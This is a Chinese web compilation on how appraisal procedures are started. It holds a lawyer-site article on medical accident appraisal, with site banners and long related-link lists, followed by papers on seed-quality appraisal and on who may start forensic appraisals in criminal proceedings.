怎样启动医疗事故鉴定

2024-10-21

怎样启动医疗事故鉴定（精选7篇）

怎样启动医疗事故鉴定篇1

赢了网s.yingle.com

遇到医疗纠纷问题？赢了网律师为你免费解惑！访问>>

http://s.yingle.com

怎样启动医疗事故鉴定

医疗事故鉴定的启动程序

构成医疗事故必须具备4个条件，即：提供医疗服务的必须是合法的医疗机构及其医务人员;要有违法、过失行为;必须有严重、明显的不良后果;违法行为与不良后果之间必须有因果关系。

医疗事故技术鉴定分首次鉴定和再次鉴定。首次鉴定由各区县医学会组织，再次鉴定由医学会组织。医疗事故技术鉴定是有时效限制的，患方在知道或者应当知道身体健康受到损害之日起1年内，可以提出医疗事故争议处理申请。

医疗事故纠纷鉴定的启动程序，有三种方式，包括：医患双方共同委托鉴定、卫生行政部门组织鉴定和法院指定鉴定。

一、医患双方共同委托鉴定的

如果医患双方在治疗过程中，发生医疗纠纷的，并且协商一致，法律咨询s.yingle.com

赢了网s.yingle.com

通过医疗事故鉴定，来确定是否构成医疗事故、构成何种等级的医疗事故、医疗事故赔偿数额的。通过医疗事故鉴定来解决医疗纠纷的，可以由医疗纠纷双方当事人共同委托当地医学会组织医疗事故鉴定。

按照中国《医疗事故处理条例》的规定，医疗事故鉴定的组织，是由医疗纠纷发生地的卫生行政部门主管。卫生行政部门下属的医学会，专门设有医学会，该委员会是负责医疗事故技术鉴定工作的。

如果是医患双方共同委托鉴定的，委托鉴定的提出即可以是在医疗诉讼前的协商过程中;也可以是医疗诉讼的庭审过程中。不过，该程序也有其特殊性，双方共同委托的，要求医疗纠纷双方当事人协商一致，共同委托医疗事故鉴定。在这种情况下，医学会是不接受单方委托的!也就是说如果患者及其家属单独要求做医疗事故鉴定的，当地的医学会是不会受理的。

二、卫生行政部门组织鉴定的

如果当地的卫生行政部门，接到医疗机构关于重大医疗过失行为的报告，或者医疗事故争议当事人，要求处理医疗事故争议的申请后，卫生行政部门认为需要进行医疗事故技术鉴定的，应当交由负责医疗事故技术鉴定工作的医学会组织鉴定。

法律咨询s.yingle.com

赢了网s.yingle.com

当地卫生行政部门启动医疗事故鉴定的程序医疗卫生行政主管部门接到下属的医疗机构的报告组织的鉴定;或者是患者及其家属单方面要求卫生行政主管部门组织医疗事故鉴定，并且得到许可的情况下方可以启动。

该程序的启动往往需要医疗机构的报告，卫生部门认为必要;或者患者自己提出请求，卫生部门同意、许可，才可以启动。如果医疗机构没有向卫生主管部门提出报告;卫生主管部门认为没有必要鉴定;或者患者及其家属提出鉴定申请，但是卫生行政主管部门认为没有必要鉴定，或者拒绝鉴定的，则该程序是无法启动的!患者及其家属是可以单方面向卫生行政主管部门提出启动鉴定申请的要求的。

如果是卫生行政部门组织鉴定的，则往往是在医疗诉讼程序前，未进入医疗诉讼程序的情况下。如果纠纷已经进入诉讼程序，往往医学会是拒绝受理的。等待法院的委托或者当事人的协商结果，通过在诉讼中的请求和委托进行医疗事故鉴定。

三、法院要求鉴定的

根据中国诉讼法的相关规定，如果在医疗纠纷诉讼中，医疗机构和患者及其家属都没有提出医疗事故鉴定申请的，而主审法官认为有必要做事故纠纷的，那么法官自己也可以提出医疗事故鉴定的要求，法律咨询s.yingle.com

赢了网s.yingle.com

启动医疗事故鉴定程序。

该鉴定程序在设定上是有其特殊性的，与其说是医患双方当事人的一个诉讼权利，不如说是法律给了法官的一项权利。使法官在医疗纠纷诉讼程序中，可以更好的驾驭庭审程序，给法官的裁判提供法律依据。

法院要求医疗事故鉴定的，不需要医疗事故纠纷双方当事人的申请，也不存在当地医学会是否受理的问题，只要庭审法官认为必要的，就可以启动医疗事故鉴定程序。

患者或家属在申请医疗事故技术鉴定之前，一定要注意及时搜集和保护证据，如病历资料、实物、挂号证、医疗费单据、交通费票据等。此外，还要认真学习《医疗事故处理条例》、《医疗事故技术鉴定暂行办法》及卫生管理法律、法规，按照医学会的要求及时提交医疗事故技术鉴定相关材料，并委派详细了解整个医疗纠纷案件、逻辑思维清晰、会说普通话的人员参加鉴定会。

医学会在接到鉴定申请后，会向医患双方发放提交材料的告知书，医患双方交齐鉴定材料后，由医学会确定专家鉴定组的专家组成及专家人数，组织医患双方当事人随机抽取专家，向鉴定专家送达鉴定材料，组织召开鉴定会。在专家合议形成鉴定结论后，出具医疗事故技

法律咨询s.yingle.com

赢了网s.yingle.com

术鉴定结论书，由医学会将医疗事故技术鉴定书送达移交方或委托方。一个鉴定周期通常需要60天左右。专家组成事故技术鉴定组

医疗事故技术鉴定是由专家鉴定组的专家依据医疗管理法律、行政法规、部门规章和诊疗护理规范、常规，运用医学科学原理和专业知识，独立进行鉴定的，所做出的鉴定结论具有法律证明效力，可以作为卫生行政部门处理医疗事故争议、医患双方协商解决医疗纠纷的依据之一，也是人民法院审判医疗事故争议案件的证据之一。

患者如果对首次鉴定结论不服，可以在接到首次鉴定结论之日起15天内向医疗机构所在地的卫生行政部门或人民法院申请再次鉴定。

根据市物价局规定，首次鉴定费用3000元，再次鉴定费用3500元。鉴定费由鉴定申请方预先缴纳。医患双方共同委托鉴定的应由双方当事人协商预先缴纳鉴定费。

现在医疗纠纷诉讼案件种类很多，除了医疗事故损害赔偿案件外，还有医疗损害赔偿案件、医疗侵权赔偿案件、医疗服务合同纠纷等，而医疗事故技术鉴定只作是否构成医疗事故的结论，不能完全满足申请方其他案件的诉讼要求。

预防医疗事故

法律咨询s.yingle.com

赢了网s.yingle.com

在日常工作中，医疗机构应当坚持“预防为主”的原则，切实采取有效措施防止医疗事故的发生，做到以事前防范为主，防患于未然。要做到有效防范医疗事故除了设立医疗质量监控部门或人员、加强医疗质量监督管理、提高医务人员技术水平、改善服务态度外，还应制定切实可行的防范医疗事故预案。医疗事故预案是在医疗事故出现之前制定的一系列应急反应程序，明确应急机制中各成员部门及其人员的组成、具体职责、工作措施以及相互之间的协调关系。预案在其针对的情况出现时启动。

医疗事故鉴定相关知识，来源：（怎样启动医疗事故鉴定http://s.yingle.com/yl/391847.html）医疗纠纷.相关法律知识

 医疗过错参与度分级的评判方法 http://s.yingle.com/yl/656743.html  医疗纠纷的处理与索赔有什么法律规定2018(2018)http://s.yingle.com/yl/656742.html  强制医疗存在的情况有哪些

http://s.yingle.com/yl/656741.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗纠纷如何确定医疗费赔偿数额 http://s.yingle.com/yl/656740.html  医疗过失医疗过错的责任划分的依据是什么 http://s.yingle.com/yl/656739.html  医疗过错和医疗事故司法鉴定的区别在哪里 http://s.yingle.com/yl/656738.html  医疗纠纷的处理途径和医患纠纷处理依据的法律法规有什么 http://s.yingle.com/yl/656737.html  医疗期内可以做工伤鉴定吗

http://s.yingle.com/yl/656736.html  2018医疗事故十级伤残赔偿标准(2018年)http://s.yingle.com/yl/656735.html  对药品质量进行抽查抽验时收不收费 http://s.yingle.com/yl/656734.html  医院医死胎儿赔偿多少钱

http://s.yingle.com/yl/656733.html  医疗纠纷的维权途径有哪些

http://s.yingle.com/yl/656732.html  医疗事故责任承担者的确认方法是什么样子的 http://s.yingle.com/yl/656731.html  康复科医患协议应该书写格式2018 http://s.yingle.com/yl/656730.html

法律咨询s.yingle.com

赢了网s.yingle.com

 法医鉴定和司法鉴定有什么区别 http://s.yingle.com/yl/656729.html  医疗纠纷调解后有异议怎么办 http://s.yingle.com/yl/656728.html  江油法医司法鉴定的内容有哪些 http://s.yingle.com/yl/656727.html  医院治死病人赔多少钱

http://s.yingle.com/yl/656726.html  医疗纠纷索赔额超过2万的是否可以由医患双方自行协商 http://s.yingle.com/yl/656725.html  常州医患纠纷处理的途径有哪些 http://s.yingle.com/yl/656724.html  医疗过错定义是什么样的

http://s.yingle.com/yl/656723.html  处理医疗纠纷的法律法规规定(2018)2018最新有哪些 http://s.yingle.com/yl/656722.html  四级医疗事故标准(2018年)是什么样子的呢 http://s.yingle.com/yl/656721.html  法医司法鉴定书中的内容应该有哪些 http://s.yingle.com/yl/656720.html  医疗事故4级赔付多少钱

http://s.yingle.com/yl/656719.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗过错主要责任比例怎么分 http://s.yingle.com/yl/656718.html  工伤后果与医疗过错可以一起赔偿吗 http://s.yingle.com/yl/656717.html  什么情况会出现医疗过错

http://s.yingle.com/yl/656716.html  医疗过错司法鉴定申请书（2018最新）书写格式2018 http://s.yingle.com/yl/656715.html  工伤加医疗过错合并赔付吗

http://s.yingle.com/yl/656714.html  永安医患调解的几种方式

http://s.yingle.com/yl/656713.html  医疗器械代理协议书（2018最新）写格式2018 http://s.yingle.com/yl/656712.html  人体轻伤鉴定标准(2018年)2018 http://s.yingle.com/yl/656711.html  医疗过错纠纷的处理程序是什么样的 http://s.yingle.com/yl/656710.html  医疗过错认定要求有哪些

http://s.yingle.com/yl/656709.html  医疗过错后患者无钱医疗怎么办 http://s.yingle.com/yl/656708.html

法律咨询s.yingle.com

赢了网s.yingle.com

 年医疗过错赔偿费有哪些

http://s.yingle.com/yl/656707.html  如何认定手术中的责任

http://s.yingle.com/yl/656706.html  营利性医疗机构职业许可证的申请条件 http://s.yingle.com/yl/656705.html  植物人几个月能做鉴定

http://s.yingle.com/yl/656704.html  医疗事故分级标准(2018年)与伤残等级赔偿的关系 http://s.yingle.com/yl/656703.html  美容医疗纠纷协议书（2018最新）的范本 http://s.yingle.com/yl/656702.html   医疗纠纷危害有哪些 http://s.yingle.com/yl/656701.html 交强险医疗费用赔偿限额

http://s.yingle.com/yl/656700.html  哪些情形下推定医疗机构有过错,医疗机构有哪些免责事由 http://s.yingle.com/yl/656699.html  输液反应责任如何认定

http://s.yingle.com/yl/656698.html  医疗事故的尸检报告多久能出来 http://s.yingle.com/yl/656697.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗过错与医疗事故哪个赔偿高 http://s.yingle.com/yl/656696.html  北京低保的医疗报销程序是什么样子的 http://s.yingle.com/yl/656695.html  妇产科护理的医疗纠纷处理事项 http://s.yingle.com/yl/656694.html  未成年人医疗事故的赔偿

http://s.yingle.com/yl/656693.html  怎么让肇事者垫付医疗费

http://s.yingle.com/yl/656692.html  医疗过错陈述词应该书写格式2018 http://s.yingle.com/yl/656691.html  医患纠纷保险真的有用吗

http://s.yingle.com/yl/656690.html  营利性医疗机构经营范围如何确定 http://s.yingle.com/yl/656689.html  医疗过错责任程度分类有哪些 http://s.yingle.com/yl/656688.html  医疗过错纠纷法院判决范本

http://s.yingle.com/yl/656687.html  医疗机构土地使用税如何收取 http://s.yingle.com/yl/656686.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医患保密协议书（2018最新）是怎样规定(2018)的 http://s.yingle.com/yl/656685.html  发生医疗纠纷你该如何处理

http://s.yingle.com/yl/656684.html  医疗过错协商解决的步骤是什么样子的 http://s.yingle.com/yl/656683.html  医疗过错参与度的赔偿金的相关规定(2018)http://s.yingle.com/yl/656682.html  二级医疗事故是指什么

http://s.yingle.com/yl/656681.html  青岛医患怎样解决矛盾

http://s.yingle.com/yl/656680.html  医疗机构校验申请书（2018最新）的填表说明是什么样子的 http://s.yingle.com/yl/656679.html  卫生行政部门可以对医疗机构的不作为做出处罚吗 http://s.yingle.com/yl/656678.html  黑龙江医患调解委员会的调解步骤是什么样子的 http://s.yingle.com/yl/656677.html  打医疗纠纷赔偿陈述词

http://s.yingle.com/yl/656676.html  途中突发疾病费用该谁来承担 http://s.yingle.com/yl/656675.html

法律咨询s.yingle.com

赢了网s.yingle.com

 一级甲等医疗事故责任在谁

http://s.yingle.com/yl/656674.html  医疗过错陈述意思书示例

http://s.yingle.com/yl/656673.html  医疗过错自行协商有何规定(2018)http://s.yingle.com/yl/656672.html   法医鉴定程序怎么走 http://s.yingle.com/yl/656671.html 三级丙等医疗事故怎样赔偿

http://s.yingle.com/yl/656670.html  2018医疗事故鉴定申请书（2018最新）写格式2018 http://s.yingle.com/yl/656669.html  医疗事故赔偿与医疗损害在赔偿方面有什么差别 http://s.yingle.com/yl/656668.html  三级乙等医疗事故赔偿标准(2018年)http://s.yingle.com/yl/656667.html  新生儿医疗事故之案例分析

http://s.yingle.com/yl/656666.html  医疗事故鉴定陈述书书写格式2018 http://s.yingle.com/yl/656665.html  医疗纠纷责任认定的三种方式 http://s.yingle.com/yl/656664.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗纠纷处理制度是什么

http://s.yingle.com/yl/656663.html   医疗过错纠纷判决书 http://s.yingle.com/yl/656662.html 医疗纠纷诉求书应该书写格式2018 http://s.yingle.com/yl/656661.html  医疗事故如何计算精神抚慰金 http://s.yingle.com/yl/656660.html  医院摔倒一般赔多少钱

http://s.yingle.com/yl/656659.html  医疗人身损害赔偿诉讼的几个难点 http://s.yingle.com/yl/656658.html  法医鉴定脑震荡的标准(2018年)http://s.yingle.com/yl/656657.html  医疗损害司法鉴定的内容有哪些 http://s.yingle.com/yl/656656.html  医疗损害责任的鉴定标准(2018年)是什么 http://s.yingle.com/yl/656655.html   医疗过失如何认定 http://s.yingle.com/yl/656654.html 医疗事故鉴定与医疗过错鉴定的区别 http://s.yingle.com/yl/656653.html  医务人员伪造修改患者病历要负哪些法律责任 http://s.yingle.com/yl/656652.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗过失要承担什么责任

http://s.yingle.com/yl/656651.html （医疗事故处理条例(2018最新)）中死亡赔偿金的问题 http://s.yingle.com/yl/656650.html  医疗事故鉴定程序有哪些

http://s.yingle.com/yl/656649.html  医疗期内解除劳动合同赔偿

http://s.yingle.com/yl/656648.html  如何收集医疗事故证据

http://s.yingle.com/yl/656647.html  医疗事故处理有什么程序2018最新 http://s.yingle.com/yl/656646.html  2018医疗事故过错鉴定需要注意什么问题 http://s.yingle.com/yl/656645.html  医疗事故纠纷行政裁决的规定(2018)有哪些 http://s.yingle.com/yl/656644.html

法律咨询s.yingle.com

怎样启动医疗事故鉴定篇2

1 种子鉴定的决定主体

种子鉴定的决定主体是指有权决定是否进行种子鉴定, 何时进行种子鉴定, 由谁进行种子鉴定的主体, 也称种子鉴定的委任主体。目前, 我国现行法律、法规、司法解释、部门规章确定以下主体为司法鉴定的决定主体。

1.1 农业、林业行政主管部门及县级以上地方人民政府农业行政主管部门所属的种子管理机构

《中华人民共和国种子法》第四十四条规定:“农业、林业行政主管部门可以委托种子质量检验机构对种子质量进行检验。承担种子质量检验的机构应当具备相应的检测条件和能力, 并经省级以上人民政府有关主管部门考核合格。”

《农作物种子质量纠纷田间现场鉴定办法》第三条规定:“现场鉴定由田间现场所在地县级以上地方人民政府农业行政主管部门所属的种子管理机构组织实施。”

1.2 侦查机关

《中华人民共和国刑事诉讼法》 (1991年4月9日公布施行) 第一百九十一条规定:为了查明案情, 需要解决案件中某些专门性问题的时候, 应当指派、聘请有专门知识的人进行鉴定。本条虽然没有明示司法鉴定的决定主体, 但根据《刑事诉讼法》的有关规定, 侦查机关是公安机关、人民检察院。

1.3 审判机关

《中华人民共和国刑事诉讼法》第一百五十八条规定:法庭审理过程中, 合议庭对证据有疑问的, 可以宣布休庭, 对证据进行调查核实。人民法院调查核实证据, 可以进行勘验、检查、扣押、鉴定的查询、冻结。

《最高人民法院关于执行〈中华人民共和国刑事诉讼法〉若干问题的解释》 (1998年9月2日公布施行) 第五十九条规定:对鉴定结论有疑问的, 人民法院可以指派或者聘请有专门知识的人或者鉴定机构, 对案件中的某些专门性问题进行补充鉴定或者重新鉴定。该解释第六十条规定:人民法院在开庭审理时, 对省级人民政府指定的医院作出的鉴定结论, 经质证后, 认为有疑问, 不能作为定案根据的, 可以另行聘请省级人民政府指定的其他医院进行补充鉴定或者重新鉴定。

《中华人民共和国民事诉讼法》第七十二条规定:人民法院对专门性问题认为需要鉴定的, 应当交由法定鉴定部门鉴定;没有法定鉴定部门的;由人民法院指定的鉴定部门鉴定。

《最高人民法院关于适用〈中华人民共和国刑事诉讼法〉若干问题的意见》第七十三条规定:依照民事诉讼法第六十四条第二款规定, 由人民法院负责调查收集的证据包括…… (2) 人民法院认为需要鉴定、勘验的……

《中华人民共和国行政诉讼法》 (1989年4月4日公布, 1990年10月1日施行) 第三十五条规定:在诉讼过程中, 人民法院认为对专门性问题需要鉴定的, 应当交由法定部门鉴定;没有法定鉴定部门的, 由人民法院指定的鉴定部门鉴定。

1.4 仲裁庭

《中华人民共和国仲裁法》 (1994年8月31日公布, 1995年9月1日施行) 第四十四条第一款规定:仲裁庭对专门性问题认为需要鉴定的, 可以交由当事人约定的鉴定部门鉴定, 也可以由仲裁庭指定的鉴定部门鉴定。

2 种子鉴定的申请主体

种子鉴定的申请主体是指有权向种子鉴定的决定主体申请鉴定或者在意思自治的前提下约定鉴定部门的或鉴定人员的主体。

2.1 种子质量纠纷处理机构及种子质量纠纷当事人

《农作物种子质量纠纷田间现场鉴定办法》第四条规定:“种子质量纠纷处理机构根据需要可以申请现场鉴定;种子质量纠纷当事人可以共同申请现场鉴定, 也可以单独申请现场鉴定。”

2.2 刑事案件:犯罪嫌疑人, 被害人及其法定代理人、近亲属、诉讼代理人

《中华人民共和国刑事诉讼法》第一百二十一条规定:侦查机关应当将用作证据的鉴定结论告知犯罪嫌疑人、被害人。如果犯罪嫌疑人、被害人提出申请, 可以补充鉴定或者重新鉴定。

《公安机关办理刑事案件程序规定》 (1998年5月14日发布施行) 第二百四十一条规定:公安机关应当将用作证据的鉴定结论告知犯罪嫌疑人、被害人。如果犯罪嫌疑人、被害人对鉴定结论有异议提出申请, 经公安机关负责人批准后, 可以补充鉴定或者重新鉴定。

《人民检察院刑事诉讼规则》 (1997年1月15日通过, 1998年12月16日修订) 第二百零五条规定:用作证据的鉴定结论, 人民检察院办案部门应当告知犯罪嫌疑人、被害人;被害人死亡或者没有诉讼行为能力的, 应当告知其法定代理人、近亲属或诉讼代理人。如果犯罪嫌疑人、被害人或被害人的法定代理人、近亲属诉讼代理人提出申请, 经检察长批准, 可以补充鉴定或者重新鉴定, 但应由请求方承担费用。

2.3 民事案件:当事人

《最高人民法院关于民事诉讼证据的若干规定》 (2001年12月6日通过, 2002年4月1日施行) 第二十六条规定:当事人申请鉴定经人民法院同意后, 由双方当事人协商确定有鉴定资格的鉴定机构、鉴定人员, 协商不成的, 由人民法院指定。

3 当前种子鉴定启动制度存在的问题及对策

3.1 种子行政鉴定和种子司法程序的关系不清, 缺乏衔接

根据《农作物种子质量纠纷田间现场鉴定办法》第五条规定:“种子管理机构对申请人的申请进行审查, 符合条件的, 应当及时组织鉴定。有下列情形之一的, 种子管理机构对现场鉴定申请不予受理: (一) 针对所反映的质量问题, 申请人提出鉴定申请时, 需鉴定地块的作物生长期已错过该作物典型性状表现期, 从技术上已无法鉴别所涉及质量纠纷起因的; (二) 司法机构、仲裁机构、行政主管部门已对质量纠纷做出生效判决和处理决定的; (三) 受当前技术水平的限制, 无法通过田间现场鉴定的方式来判定所提及质量问题起因的; (四) 该纠纷涉及的种子没有质量判定标准、规定或合同约定要求的; (五) 有确凿的理由判定质量纠纷不是由种子质量所引起的; (六) 不按规定缴纳鉴定费的。”该办法第十六条规定:“对现场鉴定书有异议的, 应当在收到现场鉴定书15日内向原受理单位上一级种子管理机构提出再次鉴定申请, 并说明理由。上一级种子管理机构对原鉴定的依据、方法、过程等进行审查, 认为有必要和可能重新鉴定的, 应当按本办法规定重新组织专家鉴定。再次鉴定申请只能提起一次。当事人双方共同提出鉴定申请的, 再次鉴定申请由双方共同提出。当事人一方单独提出鉴定申请的, 另一方当事人不得提出再次鉴定申请。”可见, 种子行政鉴定最多经过两次鉴定就可以盖棺定论了。可进入司法程序后, 种子行政鉴定不予受理和鉴定结论并不会得到司法机关的当然认可, 当事人在举证期限内仍有权提出鉴定, 从而引发多次鉴定。

在目前的司法体制下, 种子行政鉴定并不是种子司法鉴定的必经程序, 但它是解决种子纠纷不可或缺的一种重要制度。笔者认为, 应建立种子行政鉴定和司法程序的衔接机制, 可以考虑在《中华人民共和国种子法》中增加一条, 即当事人在收到种子管理机构不予受理鉴定申请决定书或者种子行政鉴定结论书60日内, 如不服该决定或结论, 有权向人民法院提起诉讼, 逾期人民法院将不予受理。

3.2 种子鉴定的证据保全问题

怎样启动医疗事故鉴定篇3

关键词：刑事司法鉴定启动程序重复鉴定多次鉴定刑事诉讼程序的系统性

鉴定意见的形成及鉴定意见的证据价值取决于司法鉴定制度，而鉴定的启动程序则是司法鉴定的第一步，直接关系到司法鉴定的公正性及公信力。合理的鉴定启动程序既有利于对鉴定意见的审查也有利于当事人双方接受鉴定意见，从而避免重复鉴定、多头鉴定。[1]本文将以鉴定启动程序的现行法律规范为基础，结合刑事司法鉴定的发展和其系统性、刑事诉讼的体系化分析现行鉴定启动程序的利弊及其完善对策。刑事诉讼过程中，案件中涉及到的专门性问题的鉴定只有办案机关可以启动，当事人、辩护人及诉讼代理人未经许可不得启动鉴定程序。这一规定是如何形成的？能否避免重复鉴定、多次鉴定？对于鉴定意见的公正性及公信力会产生什么样的影响？

一、鉴定启动程序主体的历史形成及发展

刑事司法鉴定由侦查机关启动程序的形成有其历史的原因，在一定历史阶段符合我国惩罚刑事犯罪的刑事政策。随着《刑事诉讼法》的修改，尊重和保障人权写入《刑事诉讼法》，对于程序公正提出了新的要求。2005年《全国人民代表大会常务委员会有关司法鉴定管理问题的决定》（下文简称《决定》）的实施，促进了司法鉴定在司法行政部门监管下的市场化，既打破了侦查机关对司法鉴定的垄断，促进了司法鉴定技术的发展，同时也带来了一定的问题。在这些背景下，我国现行法律法规依然规定鉴定启动程序完全由国家专门机关主导，是否还适合我国《刑事诉讼法》的立法本意及打击犯罪的要求很是值得商榷。[2]

刑事司法鉴定从建国初期起，依照法律规定就是设在侦查（公安）机关内部、为刑事侦查服务的一项侦查行为。各类刑事科学技术作为打击犯罪的最重要的工具之一，为了保护技术秘密，并防止泄漏侦查秘密，刑事案件中的专门性问题的鉴定自然也只有侦查机关决定，是否启动鉴定程序及由谁来进行鉴定。随着科学技术的发展，尤其是2005年《决定》的生效，社会上的司法鉴定机构依法成立，并在逐步发展，[3]现在大部分刑事技术已无秘密可言。因此基于技术保密的原因，只有侦查机关才可以启动鉴定程序的条件已经不存在。但其服务于侦查机关的任务却没有改变，在侦查阶段利用刑事科学技术进行鉴定的主要目的之一是查找犯罪嫌疑人，如果允许当事人或者其他诉讼参与人启动鉴定程序则会出现泄露侦查秘密，破坏证据，从而导致妨碍侦查。

二、当事人及其相关诉讼参与人参与鉴定程序启动的意义

当事人及其相关诉讼参与人参与鉴定启动程序具有积极的意义。首先能够监督侦查机关是否立案。根据现行《刑事诉讼法》，最高人民检察院所制定的《人民检察院刑事诉讼规则（试行）》（下文简称《刑诉规则》）第168条及公安部所制定《公安机关办理刑事案件程序规定》（下文简称《办理刑事案件程序规定》）第171条都规定侦查部门在刑事案件立案之前可以根据案件情况对案件进行初查。在初查中，侦查机关可以对该案件中的专门性问题进行鉴定。鉴定意见往往决定着办案部门是否立案。如果侦查机关对于某一专门性问题没有启动鉴定程序，则可能会出现应当立案而没有立案的情况。当事人能够参与刑事案件中专门性问题的鉴定启动程序，就会避免这种情况的发生。从而达到了对侦查机关的立案监督，既能维护被害人的权益，也能保障无罪的人不受刑事追究。

其次是立案后通过鉴定出具的作为证据的鉴定意见涉及到犯罪与刑罚的问题，与当事人有着直接的厉害关系。《刑事诉讼法》第146条赋予了犯罪嫌疑人、被害人在侦查阶段对鉴定意见的知情权，在对鉴定意见有异议，并满足法定条件的情况下可以申请补充鉴定或者重新鉴定。从程序公正的角度来看，赋予当事人参与启动鉴定程序的权利，更有利于维护被害人及犯罪嫌疑人的权利。如果当事人获得参与选择鉴定机构对于刑事案件中的专门性问题进行鉴定的机会，则当事人与国家专门机关对于鉴定机构或鉴定人的选择达成一致意见，这对于双方都是意思上的约定，具有约束力。当事人参与了鉴定程序启动时的选择，就应当遵守所选择鉴定机构出具的鉴定意见，除法律另有规定的情形，不允许申请重新鉴定。除此之外对于当事人来说，相对于未知鉴定机构出具的鉴定意见更容易接受自己参与选择的鉴定机构鉴定意见，进而避免因不满所选择的鉴定机构或者该鉴定机构所出具的鉴定意见而要求重新鉴定。而当事人申请补充鉴定或者重新鉴定的最主要原因之一就是不信赖侦查机关的所选择的鉴定机构，因此当事人及相关诉讼参与人参与启动鉴定时对鉴定机构的选择，会从很大程度上避免重新鉴定。这样就可以从当事人的角度避免重复鉴定及多次鉴定的发生，从而维护司法鉴定的严肃性和公信力。如果对应诉讼阶段的办案机关对于鉴定意见有异议，则可以依职权启动鉴定程序。[4]

三、当事人参与刑事司法鉴定程序启动的局限性

当事人参与刑事案件中专门性问题的鉴定启动程序具有积极意义，其消极的因素也不容忽视。

刑事诉讼中的司法鉴定不是一个独立的问题，它与其它侦查行为紧密相连，构成刑事诉讼这个整体。在法定的期间内，侦查机关必须完成相应的侦查行为及相关的强制措施，检察机关完成审查起诉，审判机关完成案件的审理。国家专门机关不能在法定期间内完成对应的诉讼阶段，则侵犯了当事人的合法权益。如果每个刑事案件的鉴定程序都允许当事人参与选择鉴定机构，并且在意见不一致时进入协商程序，然后再进入办案机关决定鉴定机构的程序，则可能导致鉴定不能及时进行。依据我国《刑事诉讼法》第147条之规定，只有对犯罪嫌疑人进行精神病的司法鉴定不计入办案期限，其它鉴定均计入办案期限。在启动鉴定程序选择鉴定机构上引入复杂的程序，有可能会导致国家专门机关在法定的期间之内不能完成相应的诉讼程序，而导致妨碍侦查、审查起诉和审判。

根据我国现行《刑事诉讼法》的规定，[5]审判人员、检察人员及侦查人员是依照法定的程序收集证据的主体。当事人、辩护人可以保全证据，但只有在例外情况下才可以收集证据。刑事司法鉴定是对依照法定程序收集到的物证、书证等检材和/或样本进行鉴定。根据最高人民法院《司法解释》第85条第3项检材样本未依照法定程序保全收集的，在此基础上出具的鉴定意见不可以作为定案的依据。由此可见刑事案件中进行鉴定的检材和样本原则上应当由国家专门机关收集，由当事人及/或辩护人收集检材和样本，并进行鉴定缺少法律依据。这就需要对刑事诉讼中辩护律师的权利进行修改。同时在我国目前的司法鉴定状况下，社会鉴定机构缺乏相应的技术及数据库，对很多领域的鉴定无法进行比对和鉴定。刑事司法鉴定是刑事诉讼系统中的一部分，其宗旨是服务刑事诉讼。应当把刑事司法鉴定的改革，尤其是其启动程序放在刑事诉讼的整个系统中进行设计。

赋予当事人及相关诉讼参与人参与鉴定的启动程序，就需要考虑对于哪一类案件具有参与的必要性。当事人及相关诉讼参与人过早的进入诉讼程序，参与鉴定程序的启动，可能会导致当事人过早的了解到案件的侦查情况，泄露侦查秘密，增加犯罪嫌疑人破坏证据的风险，而导致作案人逃避法律的惩罚。因此，当事人可以参与的刑事案件中鉴定程序的启动问题仅仅包括，对鉴定目的不会产生危害，不能泄露侦查秘密，不会对侦查进程产生影响的案件。[6]除此之外，对于一些重复出现的专门性问题的鉴定，如人体酒精检测、吸毒人员的毒品检测等，在各地都有固定的鉴定机构进行检测，当事人及辩护人参与选择鉴定及鉴定人缺乏必要性。从维护程序公正和避免重复鉴定、多次鉴定的角度来看，只能在不危害刑事司法鉴定的目的、不拖延侦查的前提下，允许当事人及相关人员参与鉴定程序的启动，选择鉴定机构的选择。

四、当事人及相关诉讼参与人参与刑事司法鉴定启动程序的问题与对策

赋予当事人及相关诉讼参与人参与刑事司法鉴定程序的启动权，就不可避免的会出现当事人所委托鉴定机构与侦查机关所委托鉴定机构不一致的问题。如果这一问题不能妥善解决，则会进一步激化当事人与国家专门机关之间的矛盾。选择鉴定机构不能达成一致意见时，首先要通过协商来解决。在协商不能达成一致意见情况下，应当由侦查机关决定所选择的鉴定机构。2005年《决定》实施以后，社会鉴定机构市场化，当事人基于自身利益的考虑会委托能够出具有利于自身利益的鉴定机构进行司法鉴定。[7]而社会上的鉴定机构也会考虑到自身的经济效益，出具有利于委托人的倾向性鉴定意见。[8]侦查机关作为国家专门机关是基于法律赋予其的职权进行鉴定，自身不存在经济利益的导向，更能够出具公正的鉴定意见。虽然对于侦查机关侦破案件时，自行对刑事案件中的专门性问题进行鉴定，就是颇受诟病的既当运动员又当裁判员。但是这一现状是国家专门机关的职权来决定，并这种弊端可以通过侦查机关内部不同部门的职能划分来解决。根据公安机关内部案件管辖的划分，在法律规章等没有例外规定的情况下，刑事案件应当有县级公安机关或者区公安分局管辖。我国部分公安机关已经采取，由基层公安机关的侦查人员与技术人员负责证据的保全、提取及收集，由市级公安机关的鉴定机构进行鉴定，这样就从制度上避免了鉴定问题中的“运动员”与“裁判员”的双重身份。因此在有争议的情况下，应当由侦查机关决定委托哪些鉴定机构对刑事案件中的专门性问题进行鉴定。并且对于协商解决选择鉴定机构的问题必须有时间限制，否则会影响侦查的顺利进行。

五、总结

刑事诉讼中的司法鉴定对于尊重和保障人权、维护司法公正，惩罚犯罪，并保障无罪的人不受刑事追究具有决定性的影响。启动刑事司法鉴定程序的主体是保障刑事司法鉴定科学性、公正性和公信力的基础之一。当事人及其他相关诉讼参与人参与刑事司法鉴定的启动程序能够防止重复鉴定、多次鉴定，维护司法公正及司法鉴定的公信力。为了适应我国现阶段打击犯罪的需要，发挥刑事司法鉴定在打击犯罪中的重要作用，应当通过法律法规规范刑事司法鉴定的启动主体，确定刑事司法鉴定的范围。从程序上，应当允许当事人在不妨碍侦查、不影响刑事诉讼进程的前提下参与刑事司法鉴定的启动程序。既能防止司法资源的浪费，又能维护司法的公平和正义。

注释：

[1]本文所指重复鉴定、多头鉴定是指不满足刑事司法鉴定中补充鉴定及重新鉴定法定条件，而针对刑事案件中的专门性问题所进行的二次及其以上的鉴定。如湘潭黄静案经过六次鉴定，每次的鉴定意见都不尽相同，甚至相反，而导致司法鉴定失去其公信力。

[2]季美君：《专家证据的价值与我国司法鉴定制度的修改》，载《法学研究》2013年第2期。

